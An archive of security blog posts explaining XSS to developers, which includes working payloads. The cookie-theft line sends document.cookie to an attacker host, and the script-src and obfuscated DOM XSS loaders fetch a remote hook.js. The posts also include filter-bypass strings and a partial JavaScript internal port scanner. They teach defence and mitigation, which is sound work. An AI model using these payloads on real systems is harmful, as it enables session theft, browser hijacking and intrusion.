Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Friday, September 16, 2016

Blind Cross-site Scripting (BXSS)

Matthew Bryant (@IAmMandatory) wrote a great blog post a bit ago Breaching a CA – Blind Cross-site Scripting (BXSS) in the GeoTrust SSL Operations Panel Using XSS Hunter. It has a pretty cool concept of BXSS (Blind XSS) ( or Blind Cross Site Scripting).

What is XSS?

XSS (or Cross Site Scripting) is a vulnerability in a website where you can inject Javascript code into a user input parameter (perhaps the url, query string, cookie, textbox, etc.) and because the developer did not properly validate the user input, when the HTTP response is returned and the web page is displayed by your browser, the browser mistakenly runs your user-inputted javascript. Why is this a problem? If a malicious actor can get you to click on a link and run their javascript in your browser, they can potentially compromise your browser, credentials, or even your entire system. They can inject key loggers, malware, etc. Bad Stuff.

What is BXSS?

With XSS defined above you get that immediate feedback. With BXSS you don't! I have written about BXSS once before. In short, you submit some malicious XSS user input somewhere, but the intent is not to exploit the system you're inputting the data into. Instead you're hoping to exploit and run Javascript on a different system that also manages that same data, likely at a later date. Great examples of this are websites that allow you to rate products and put comments in. If you were to inject comments into that textbox, one example of BXSS would be that hopefully when the Product Review person view your review on their internal intranet website from their cubical that the XSS code will execute on that local intranet site. Thus as the attacker you're blind, you submitted the XSS payload on the website product page, but you don't see the results, you don't get immediate feedback, you won't know if it worked until a few hours or days later when that Product Review specialist opens up your comments and attempts to moderate (approve/disapprove) them.

More from Matthew's blog

Matthew used the tool XSS Hunter which allows you to submit XSS attacks and it gives you detailed information about if the attack was successful or not, including things like screenshots of the webpage, the html code that displayed on the web page, etc. Perfect for BXSS because even though you couldn't technically see the exploit running, XSS Hunter gives you all the details as if you did.

It's an interesting concept too that Matthew mentions "In the world of blind payload testing, context is everything. You may only trigger the vulnerability a single time so you must have as much information as possible if you want to get it fixed." Basically the moderator may only ever moderate or review your comment once. Thus your first payload can't be an alert(1) test! Your first payload has to be the real-deal and it has to work the first time!

To explain Matthew's GeoTrust attack here's a short summary "during my testing I found an unintended vulnerability in GeoTrust’s Operations Panel when a support agent viewed my certificate request information. I woke up one morning with an XSS Hunter payload fire email titled [XSSHunter] XSS Payload Fired On https://ops.geotrust.com/opsdashboard/com.geotrust.presentation.app.ops.services.cancelagedorders.CancelAgedOrders/CancelAgedOrders.jsp in my inbox"

XSS Hunter showed him this code, and notice that the data[i].Customer is concatenated and ends up being displayed as html without any validation or sanitization.

for(i = 0; i < count; i++){ table = table + "<tr><td>" + data[i].ID + "</td><td>" + data[i].Product + "</td><td>" + data[i].Customer + "</td><td>" + (data[i]).Date + "</td><td>" + data[i].State + "</td></tr>";
}


So all Matthew had to do was inject the Customer field with this value

"><script src=https://y.vg></script>

And the internal Support Agent on the Intranet in his cubicle suddenly will load Matthew's evil XSS Hunter url (https://y.vg) and that url will download keyloggers, screenshots takers, or whatever other mayhem the attacker would like to inflict.

<tr><td>13785664</td><td>GeoTrust SSL Trial</td><td>"><script src="https://y.vg"></script></td><td>06/06/2016 05:40:04</td><td>Waiting for Whois Approval</td></tr>

To protect against XSS and BXSS you need to perform input validation on all user-input. User input remember can come from anywhere! Recall my blog post about What is the 'input' in input validation? In this case you can't forget that even the values in an SSL Certificate such as Customer should be consider user input, thus untrusted, and thus it needs sanitized. To sanitize you would ideally setup a regex that whitelists allowed characters / format , and you would use a standard XSS prevention library to strip out or encode malicious characters.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, August 9, 2016

Expect: alert(document.domain)

GET / HTTP/1.1
Expect: <script>alert(document.domain)</script>


Saw this request in some web logs, what is it? Appears to be a super old XSS (cross site scripting) vulnerability on Apache based web servers from like back in 2006. The attacker is thus looking to see if he can find super old servers that were never patched. The javascript alert method will create a popup box in the browser, and the document.domain variable will print out the current domain (beginning part of the url) that the page is on if vulnerable.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, May 10, 2016

The Blind XSS GoDaddy Vulnerability

There was a recent article about a GoDaddy vulnerability deemed Blind XSS. Now many of you may have heard of Blind SQL Injection, where an attacker can extract answers and data out of a database not by straight-forward SQL select statements, but instead essentially based on the website's response to true/false questions/queries. It can be a slow and painful process, sometimes extracting data one bit at a time, but none-the-less effective if you end up extracting the data you wanted.

Blind XSS, on the other hand, is nothing of the like. The term they're referring to here is essentially a ticking time bomb. They dump malicious XSS payloads anywhere and everywhere, hoping that somewhere, somehow, someday a website/application will open that payload in a browser from a vulnerable website. That might be difficult to make sense of at first, but I'll give some better examples below to illustrate what they mean. I have discussed this topic a little bit before in my prior blog XSS is worse than you think.

Now normally as an attacker you probably submit a simple test alert textbox XSS payload into a textbox, parameter, etc. and hope for immediate feedback. You either see reflected XSS returned in the HTTP response immediately, or you see your stored XSS show up on a different page when the website loads your content. But imagine another interesting method of attack. Why not just spam EVERY SINGLE input field like textboxes, query string parameters, etc. on a website with your desired payload (something that makes a callback and hooks a browser), then instead of checking for immediate feedback, just sit back and wait for the callback to occur. This callback could occur immediately, but it's also possible it takes hours, days, or even weeks for the callback to occur. Why?

What if you one of your payloads actually stuck. Perhaps it was a stored XSS vulnerability and it got stored into a database table. Here's a few examples I image this could apply

1.) What if your payload got saved into your Security Question / Answer field. The XSS payload does not work when you view your my account area because that public facing site was well-coded. But imagine you make a phone call to customer support, and the first thing customer support does it open your my account from their Internal, less secure Intranet website to validate your security question. This less secure Intranet site opens that same Security Question / Answer field and suddenly your payload is delivered to the customer support rep! And you see your callback come in and hook their browser. Blind XSS.

2.) What if your payload got saved into the product review comments on an ecommerce site like Amazon. Your payload does not work when the comment is displayed on the Amazon product page because that public portion is well-coded. But comments can go through an actual manual-review process by employees in order to validate your comment isn't spam, etc. Imagine the employee opens up your comment from their less secure Intranet website to approve or disapprove it. When they open up your comment in their less secure Intranet app that isn't checking for XSS, your malicious payload is delivered to that employee's browser. Hooked. Blind XSS.

It's a crap shoot. It's spray and pray. But it can be effective. It works for email spammers & phishers. They blast out their "payload", a malicious email, to thousands of email accounts knowing that a small handful will actually have their payload delivered and gain successful compromise of the victim. They weren't sure who the victim would but it doesn't matter, they're now the victim.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, April 20, 2016

Minimum Viable XSS Article

This article about Minimum Viable XSS was interesting and relevant. I recently came across a XSS vulnerability, but due to server side validation and some string truncation that was occurring, there was a very limited number of characters that could be used to exploit this XSS vulnerability. You may be led to believe that since there's only a handful of characters available for the attack that it can't be abused, but per the article linked above, you'd be wrong! With as short as 20 characters, full blown XSS could be exploited with something like the BeEF framework, you could hook a browser, and you'd be in business as a bad guy. So please, DO NOT assume that truncating output is a viable form of vulnerability remediation. And please do not take a limited character XSS vulnerability light-heartedly, instead fix it immediately.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

XSS Cookie Theft

There are still scenarios where cookie theft might be useful for an attacker. If an XSS (Cross-Site Scripting) vulnerability exists on your website, the attacker may use it to swipe your customer's cookies and perhaps use it to login with their session or collect other types of information stored in the cookies. Let's see an example.

Assume there is a website that had a valuable sessionid cookie the bad guy wanted to steal from your end users. If he can find a XSS vulnerabilty on your website, such as in this "name" parameter below, so that when the attacker changes the title of a forum post, he is allowed to inject javascript into the title instead of just text

http://www.goodforum.com/post?name=MyTitle

... and the attacker finds out that the javascript he saves into the title gets executed every time a user loads his forum post. This type of XSS is called stored XSS, and the attacker could inject some malicious payload such as

http://www.goodforum.com/post?name=new%20Image().src%20%3D%20%27http%3A%2F%2Fbadguy.co%2Feat.php%3Fcookie%3D%27%20%2B%20encodeURI(document.cookie)%3B

If you decode the XSS payload you see this javascript code

new Image().src = 'http://badguy.co/eat.php?cookie=' + encodeURI(document.cookie);

If you watch this code execute in the browser you see a callout to the bad guy, and oops the sessionid cookie seems to have gone out too!



It's that simple. Now if the bad guy checks his web logs, he can see the user's session id value, and if he's using the proper tools, he's probably got it automated to the point where it takes the session id and immediately turns around and opens up the attackers browser with the end user's session and allows the attacker to browse around the website as that user. Thus take XSS seriously and fix those vulnerabilities!

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Thursday, March 17, 2016

Fixing XSS

Respect XSS had a nice blog post on an XSS vulnerability that existed a while back on the Mozilla Add-Ons website. This was a stored XSS. Stored XSS is where the XSS attack was stored server-side likely in a database table and is loaded over and over from the database every time any user goes to a particular page. The issue was with the Name field, so if you entered html / javascript into the Name field, it was actually getting stored into a database table probably in a name column, and then on the next page, the name column was pulled out, still unsanitized, and displayed as the Title of the next page. So an attacker could Name their collection with javascript instead of a real name, and anytime a person when to that collection the javascript would execute. Thus classic XSS. This could lead to session or cookie theft, keylogger, malware installation, browser hijacking, or much more. XSS is bad, and as that blog says "Respect" it.

What I thought was worth discussing a bit further though was 2 other XSS fixes (albiet simple) that the same blogger found and mentioned at the bottom of the post. There were 2 github checkins worth looking at

1.) forms.js fix


The above change is in the populateErrors function, and it's looping thru each error message and printing out the error. This appears to be related to user input validation, and if user input was incorrect then an error would display, and when an error was displayed, the error display field bwas actually vulnerable to XSS and javascript could be executed. Thus to prevent that it was very simple, any output that is controllable by a user in any way should first be escaped/sanitized. This project is using the _.escape function to escape or sanitize the user input before displaying.

2.) mobile-search-results.html fix


The above change is to fix an issue where the search keyword was being displaying in the search results page unsanitized thus it was vulnerable to XSS. This project uses Swig javascript templates, thus the reason you see all the curly braces and modulus symbols {%. Then it's basically taking the doc.url (or current url) and encoding it with the encodeUri() javascript function. This strips out the malicious characters that enable the XSS from the search keyword prior to displaying it.

It's just good sometimes to see how simple it is to fix XSS and thus you should take time and make time to remediate quickly if you find one.

u>More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, March 1, 2016

Don't Write your own XSS Filter

There was a recent blog by Sjoerd Langkemper that walked through bypassing XSS Filters. It's a great example of why as a web developer you should NOT write your own XSS filter, but instead you a trusted and vetted security library written and reviewed by the pros. By Custom XSS (or SQLi) filter, I mean you should not try to write your own regular expression, pattern matching, character blacklists, etc. It's just too complex and you're bought to miss something or make a mistake. You need to use a library that everybody else has reviewed and is known to be correctly written and secure.

In the blog he provides great example. There was a regex written to remove this malicious code

(javascript\s*:)

And it would work great if the attacker followed the traditional pattern and entered malicious code like this

<a href="javascript:alert('test')">link</a>

But what if the attacker varied a little bit and URL encoded the letter s?

<a href="java&#115;cript:alert('xss')">link</a>

Uh-oh, your attacker just bypassed your XSS filter and your website is vulnerable to XSS.

Here's another example of a decent regex to blog javascript event attributes.

(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)

But guess what, you missed one (or probably many). What about onmouseenter?

<div onmouseenter="alert('xss')">

Please trust me when I say, you can't do it yourself. I would never attempt it and you shouldn't either. Use a trusted library that covers all these scenarios and has thought of all the things that you have forgotten.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

ModSecurity Virtual Patching 101

There is a great article by High-Tech Bridge Security Research team about the Open Source WAF ModSecurity. I thought it'd be interesting to cover a few of the topics they mentioned at a high level.

Have you ever had a scenario where a security vulnerability was identified (perhaps by a scanner, or an outside resources, etc.) but you were unable to immediately patch it. Perhaps you were in the middle of a large project and had no resources. Perhaps the vulnerability was in a fragile high risk area of the sites and numerous hours or days of testing are required. Perhaps the site is hosted/built by a 3rd party and you have to deal with formalities and other delays. A possible solution to any of these problems would be to apply a temporary "virtual patch" with your WAF in order to block the attack from occurring until you get the developers to build & test the real patch. Remember you still want to perform real patching, your virtual patching should only be temporary because WAFs are just another layer, and that layer could also have vulnerabilities or weaknesses of their own (such as WAF bypasses). Thus the only real way to prevent exploit is to perform a full patch.

But for the temporary fix, you might be wondering ... what does a virtual patch look like? Well essentially you can write a rule (think of it as similar to a SNORT IDS/IPS rule) that restricts what data can be utilized on the website to hopefully allow the good data and block that attackers data.

XSS Example
  Exploit Url: http://www.mysite.com/product.aspx?productid=alert(document.cookie)
  Virtual Patch:
    SecRule REQUEST_FILENAME "/product.aspx" "phase:2, t:none, t:normalisePath, t:lowercase, t:urlDecodeUni, chain, deny, log, id:1001"
    SecRule ARGS_GET:productid "!^[0-9]+$" "t:none"


To explain further, let's say in the example above that you confirm the productid parameter on the product.aspx page is vulnerable to XSS but you cannot apply permanent patch yet. Thus you want to create a temporary WAF virtual patch to block attackers from exploiting it. The 'SecRule' keyword allows you to analyze and act upon variables. You'll notice there are 2 lines thus we are analyzing 2 variables. The 1st is the 'REQUEST_FILENAME' variable and it holds the name of the file being requested. In this case we validate that it's the product.aspx page. Then we can set a bunch of actions. The first one I want to point out is the word 'chain'. This indicates that there are multiple 'SecRule's that are getting chained together (in this case our 2 lines/2 variables we're comparing). Also it says 'deny' and 'log' which means if these chained rules match we are denying and logging it. Just like a snort rule there is an "id" also for tracking. There are also a bunch that start with the letter 't' which stand for transformation functions. 'none' starts you with a clean slate, then it's saying do all the comparisons in 'lowercase', and use the 'normalisePath' to eliminate any double slashes, and use unicode with 'urlDecodeUni'. The other action in the first line is 'phase:2' which indicates for the WAF to look at the Request. Phase 1 is the request headers, Phase 2 is the request, Phase 3 is the Response headers, phase 4 is the Response, and Phase 5 is logging. The phase is for performance.

The second line is another 'SecRule' on a variable called 'ARGS_GET'. More specifically, it's comparing the value of the 'productid' query string argument. This line creates a whitelist to basically attempt to allow the good data and block the attackers bad data. In this case it's providing a regular express that says the productid can only contain numbers (1 to many). Thus by allowing only numbers, the WAF will 'deny' the request and 'log' if anybody tries to pass anything other than numbers into the productid parameter. Just like that you've prevented the XSS.

SQLi Example
  Exploit Url: http://www.mysite.com/search.aspx?keyword=value';insert+into+user+('admin','password');--
  Virtual Patch:
    SecRule REQUEST_FILENAME "/search.aspx" "phase:2, t:none, t:normalisePath, t:lowercase, t:urlDecodeUni, chain, deny, log, id:1002"
    SecRule ARGS:keyword "'" "t:none, t:urlDecodeUni"


Just to provide a second example, above is a url that you've identified as having a keyword parameter vulnerable to SQL injection. In the case above, the attacker terminates the keyword value in SQL with the apostrophe, then inserts an admin user into the user table, then comments out the rest of the SQL. To prevent this we chain 2 'SecRule's again. We first check that we're on the vulnerable 'search.aspx' page and we're going to 'deny' and 'log' again.

The second line then look for the 'keyword' query string parameter, and if it contains an apostrophe or any unicode variation, then it will 'deny' the requst, thus you've temporarily prevented the SQL injection.

The article has many more great examples of how to block things like CSRF, Path Traversal, etc.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, January 29, 2016

fin1te XSS on Facebook blog

I thought this blog by fin1te explaining XSS on Facebook via PNGs was a great read, and worth the time of anybody interested in the topic.

The attackers will continue to evolve to evade detection and the good guys like us better stay on top of our game if we hope to stop (or even just detect) this madness!

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, January 13, 2016

Article on Phishing eBay with XSS

This article on how to build an eBay Phishing site I found as a quick read and very informative. It walks through after finding an XSS flaw how to may a copy of the website with WebHTTrack, make the modifications necessary to steal credentials from the html form, and the final link you'd drop into your phishing email. Good article by @ret2libc

More evidence that XSS flaws are bad and you should fix them immediately if your website scanner finds one.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, January 12, 2016

XSS Flaws lead to Keylogging,Webcams, & more

I've enjoyed talking about XSS many times on this blog. Today is another one of those days! We're going to bring it hopefully full circle this time. First just as a heads up I'm working in my VM environment with networking configured like this to have a Kali linux box with Apache Web Server and also with BeEF and a windows 7 box with chrome.

Let's say a developer wrote a vulnerable PHP user page on his goodsite.com with this line of code. It's vulnerable to XSS because it's just echoing the user-controlled input back to the screen. This can be really bad as we'll see in a minute.

echo sprintf("User: %s", $_GET['userid']);

Now an evil attacker may swoop in, discover this flaw, and try to get one of your users of the website to click on a link that looks like this



Notice the javascript that tries to load a hook.js file from an evil site. We'll get to what that is later. First you should know that by default Chrome and many modern browsers actually would've saved your life already. Chrome's XSS auditor would've caught this and silently blocked it. You can see this if you view source and find the red highlighted text.



But let's say I was running an older insecure browser, the vulnerability was actually somewhere else and Chrome didn't catch it, or I'm evil and know how to evade the XSS Auditor, or I simply disabled the xss auditor feature (don't do this) in chrome like below.



Then truly bad things will happen as you see below. The evil attacker got my end user to go to my goodsite, but per the Chromes developer tab (F12) I'm able to see that even though my good page loaded, in the background, something else more evil loaded. A hook.js file from evilsite.com which came from the XSS injection of the script src tag. In addition, notice that the hook.js isn't done yet. It's actually created persistence. It's now running over and over every few seconds. This looks bad.



Over on the BeEF console the attacker probably sees some log like this showing him that you've joined his party



And at his disposal he can do whatever he wants as long as your browser and plugin versions support it including evil stuff like enabling your webcam



Or if you happen to type in a password or credit card



He's going to see that as well



One thing I found really cool about BeEF is that you can view all the javascript code behind the scenes making these hooks, keylogging, etc. work is all write there for you to view.



So if you're like me and have a background in web development as a good guy, then you can figure out exactly what code some of the bad guys are taking advantage of.

And finally I'll harp on it again, if you're a web developer, hopefully this blog post gives you another good reason to take XSS flaws seriously for the sake of your end user.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, January 4, 2016

DOM XSS 101 Walk-Through

DOM XSS 101 Walk-Thru

We've talked about XSS (Cross-Site Scripting) before on this blog. I thought it would be good to walk-through a form of XSS that we really haven't covered yet called DOM (Document Object Model) XSS. The prior discussions we've had about XSS have revolved more around Store and Reflected XSS. Stored XSS is where the XSS attack was stored server-side likely in a database table and is loaded over and over from the database every time any user goes to a particular page. Reflected XSS is where the browser sends an attack request to the web server, and the web server responds back (or reflects) that attack back to the end user. Both Stored and Reflected XSS involve server side communication, thus there is a chance if done correctly for the Server to sanitize or block the XSS attack prior to it ever hitting the user. Another type of XSS worth talking about is DOM XSS. This attack is purely client-side, the request likely never makes it to the server and thus the Server has no way of protecting the user against the attack. The only forms of protection would be proper coding by the developer or the browser itself detecting and blocking the attack. It is possible, depending on how the attack is performed, that the server might log the web request but by then it might be too late and the attack may have occurred already. But there are also methods or ways using the # character (hash/pound) for an attacker to even prevent these DOM attacks from even being logged to the server thus the attack may go completely unnoticed.

I pasted an example of some poorly written Javascript that is vulnerable to DOM XSS.

Let's say I have a website and a url that looks like this hxxp://myurl.com/domxsstest.html?userid=123456


And say I want to write some javascript that will log the userid to the chrome/firefox/ie developer console for general troubleshooting.

function logUserId(userid){
   console.log('debug: userid found was \'' + userid + '\'');
}


And in order to pull that userid out of the url and log it, I wrote this perfectly legit and functioning javascript code.

var myurl = window.location.href;
var useridstartindex = myurl.indexOf("userid=") + 7;
var userid = myurl.substring(useridstartindex,myurl.length);
var calllogfunction = 'logUserId(' + userid.toString() + ')'
eval(calllogfunction);


Since the above javascript uses the unsafe eval function and does not properly sanitize the user input (the Query string parameter 'userid'), an attacker could do the following to exploit this vulnerable code.

First to understand the concept, basically the attacker can control the value of the calllogfunction variable and can inject his own code into it that will execute against the browser and run in the origin/scope of the domain it's on (such as myurl.com). This can be very bad and can lead to malware, keystroke logging, drive-by downloads, credential theft, internal network recon, and much more.

At a super high level, we'd expect the calllogfunction variable to end up containing this

logUserId(12345)

But in my example below, as the attacker I am able to change the value of the calllogfunction variable to something such as below where I completely control 'my evil code'

logUserId(12345);eval('my evil code')

As a more realistic example I'm going to make it look like this.

logUserId(12345);eval(s=document.createElement('script'); s.src='http://neonprimetime.blogspot.com/fakehook.js'; document.getElementsByTagName('head')[0].appendChild(s))

If we quickly run through this code, here's what it does

logUserId(12345);

The above line logs the userid as the developer desired.

eval(s=document.createElement('script');

The above line then creates a new script tag which is where the attacker will insert his javascript code.

s.src='http://neonprimetime.blogspot.com/fakehook.js';

The above line then sets the source of the javascript code to his evil website hook script which does the bad things like installing malware, keylogging, or whatever is desired.

document.getElementsByTagName('head')[0].appendChild(s)

The above line finally searches for the head tag in the html page and appends the attackers script tag right after it dynamically. So just like that, which a few strokes of magic javascript code, the attackers evil javascript (hosted at neonprimetime.blogspot.com) is now running inside the user's browser under the origin/scope of the good site myurl.com.

So now to make this attack work, we simply need to adjust our url and get the victim user to click our adjusted url.

The first thing the attacker would do is take the evil code above (s=document.createElement........), drop it into a free utility like this one that converts the evil string code to integer character codes such as these ( 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 110, 101, 111, 110, 112, 114, 105, 109, 101, 116, 105, 109, 101, 46, 98, 108, 111, 103, 115, 112, 111, 116, 46, 99, 111, 109, 47, 102, 97, 107, 101, 104, 111, 111, 107, 46, 106, 115, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59 )

This is done for probably at least 2 reasons, 1 is to avoid issues where a closing tick mark like this ' will terminate the original eval javascript statement. If that tick mark terminates the statement, then our attacker code won't get executed. The 2nd reason is more for obfuscation. This makes it harder for a WAF (web application firewall) or other tools to detect and block evil code since the obfuscated combinations options are literally endless.

We then add a call to the powerful Javascript function String.fromCharCode() which works the magic of converting our integers back into the evil code to execute. Thus we'd end up changing this hxxp://myurl.com/domxsstest.html?userid=123456 to something uglier like this hxxp://myurl.com/domxsstest.html?userid=123456);eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,110,101,111,110,112,114,105,109,101,116,105,109,101,46,98,108,111,103,115,112,111,116,46,99,111,109,47,102,97,107,101,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))//

Then you throw this link into a phishing email or submit it to a message board or via social media messaging and get somebody to click on it. They're more likely to click on a link like this because even if they hover over the link and manually review it with their eyes prior to clicking, they'll see that the url is coming directly from their trusted url (myurl.com) so they'll be satisfied and click. But once they click, they're hooked, they're infected, and the bad guy has what he wants, control over that browser.

You can test out the code from the pastebin link above locally and watch as we discussed that the console will get logged the userid just as expected



But also in the background (end user would never even know) the javascript hook file was loaded from the 2nd domain.



OWASP, as usual, has a great link describing how to prevent attacks like this. You could also add HTTP Headers like Content-Security-Policy to restrict which domains scripts can evel be loaded from ,thus preventing the evil attackers javascript from even being loaded by the browser even if you are vulnerable to DOM XSS. This blog is a good quick read about those headers.

Hope this helps and remember to never underestimate an XSS vulnerability. If one shows up on your website, get your developers to fix it ASAP.

Credit goes to the Browser Hacker's Handbook for giving me the initial intro.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection ali.txt walk-thru
  3. php injection exfil walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, November 23, 2015

LinkedIn Resolves XSS in 3 hours

A long while back I wrote a blog expressing my opinion that Agile is better for security than waterfall. The company LinkedIn gave a good example of that this past week. Per this article about an XSS vulnerability they recently resolved, "Dua alerted the company of the bug shortly after 11 p.m. on Monday, and according to his disclosure timeline, LinkedIn implemented a fix shortly after 2 a.m. on Tuesday.".

Now that's quick turn-around! You aren't able to consistently do that successfully unless you're comfortable with moving fast, coding fast, and testing fast. But if you're good at moving fast like that, I believe your site is going to end up much more secure.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, September 2, 2015

Cross Site Scripting (XSS) that Port Scans

I wrote a post last year that told you Cross Site Scripting (XSS) is worse than you think. Well, here is another example of why that is true and as a developer you have to take it seriously.

The big question is, did you know that you can essentially perform a port scan (functionality that a tool like NMAP provides) via javascript? Say What?!?!

If that's true, that means when you find an XSS vulnerability in a website, you can inject javascript that will run a port scan. So what you say? As an attacker, I'm outside your network. Where's your end user? They're inside on your network. As an outside attacker I can only port scan your DMZ which is exposed to the outside world. I could never port scan your internal network. Or could I?

In most cases, I'm guessing your end user on your internal network could probably run a port scan of surrounding devices/workstations/servers, right? Guess what. If I can get your user to browse to any website that has an XSS flaw, I can have javascript run inside your users browser, on your user's workstation, inside your network, and use their workstation to launch a port scan across other internal devices. And I could even return the results back by simply also injecting an iframe that calls back to my web server with the scan results.

That sounds like a problem!

In this blog post I'm going to skip past the concept of XSS. You can learn more about what causes it, how to fix it, and how to exploit it at OWASP. What I'm going to do in the rest of the post is show you the more interesting topic of how a port scan could occur in javascript.

At a high level, it's super simple. I'm basically going to make an HTTP request to the ports I want and the devices I want. I can do that by creating html image tags (img) that have a url (src) of http://targetIP:targetPort/testfile.jpg

If the port replies back with a response of any kind, I now it's up. If the port fails to connect or I get no response, I'm going to assume it's down.

Now granted, this method is not anywhere near as reliable as NMAP, but if life gives you lemons why not make lemonade out of it? What do I mean by that? Well, this type of scanning is at the application level. If the application/service running on that port is coded to spit back a response if it receives something that looks like HTTP, then great! But of course, there are many applications that won't respond to malformed or incorrect requests. Thus this method isn't perfect since it will mistakenly think that some ports are closed, when it all actuality they have a application running that simply won't provide a response.

The other primary downfall of this method is that all major browsers now block http requests to well known ports (like 22-ssh, etc.) so those will always be reported as closed via this method.

But, lemons to lemonade, right? So simply look at the bright side ... you are able to perform a semi-accurate port scan on an internal network without being in that network. That's more information that the attacker had to being with so I'm sure they'll take it and run. You'll probably end up identifying unusual, unconventional, or non-standard ports being used ... but hey many times are the interesting applications anyways.

So, let's get to the port scanning in javascript.

My setup is 2 devices...
- Victim to XSS that unknowingly performs a port scan (virtual box windows desktop)
- Nearby Server that gets scanned (virtual box Kali linux)


The Victim simply has a web browser that loads an html file with the attackers malicious XSS.

The Nearby Server has SSH running but on a non-standard port (7722), but if I'm the attacker I don't know that yet.



So I find a website vulnerable to XSS, I inject the following evil javascript into a website. I send the link to the victim in an email. They open the email, the vulnerable site loads, and the javascript I injected runs on that victim's browser. But I'm not interested in just hijacking sessions or social engineering the user with XSS, I also want to generate a network map of what else is on the internal network. So perhaps I write a script that cycles through several of the RFC 1918 ips and performs a port scan on them and returns me the results in an iframe http post back to my external server (which will likely get out since port 80 outbound isn't blocked).

As an example I've created a simple javascript method called scan that hits a range of ports on 1 ip.

Scanner.scan(Scanner.printresult, '192.168.56.101',7720,7725);

The method is simply looping thru each port in the range and calling the primary method that scans 1 host, 1 port.

Scanner.scan =
  function (callback, hostIP, hostMinPort, hostMaxPort) {
   for (currentPort = hostMinPort; currentPort <= hostMaxPort; currentPort++){
    Scanner.oneHost(callback, hostIP, currentPort);
   }
  };


The primary function is the funnest part. It simply declares an html img (<img src='http://10.10.10.10:7722/test.jpg' /> ). Then "if" the image loads then that means that I got a response (mighta been http 200, or 302, or 404 ... doesn't matter ... I just know it responded) and thus know it's open. If it doesn't load but instead hits my timeout period then I assume it's closed (although as discussed above it might not truly be closed).

var Scanner = {};
Scanner.oneHost =
  function (callback, hostIP, hostPort) {
   var timeout = 200;
   var imageUsedAsScanner = new Image();
  
   imageUsedAsScanner.onerror = function () {
    if (!imageUsedAsScanner) return;
    imageUsedAsScanner = undefined;
    callback(hostIP, hostPort, 'open');
   };
  
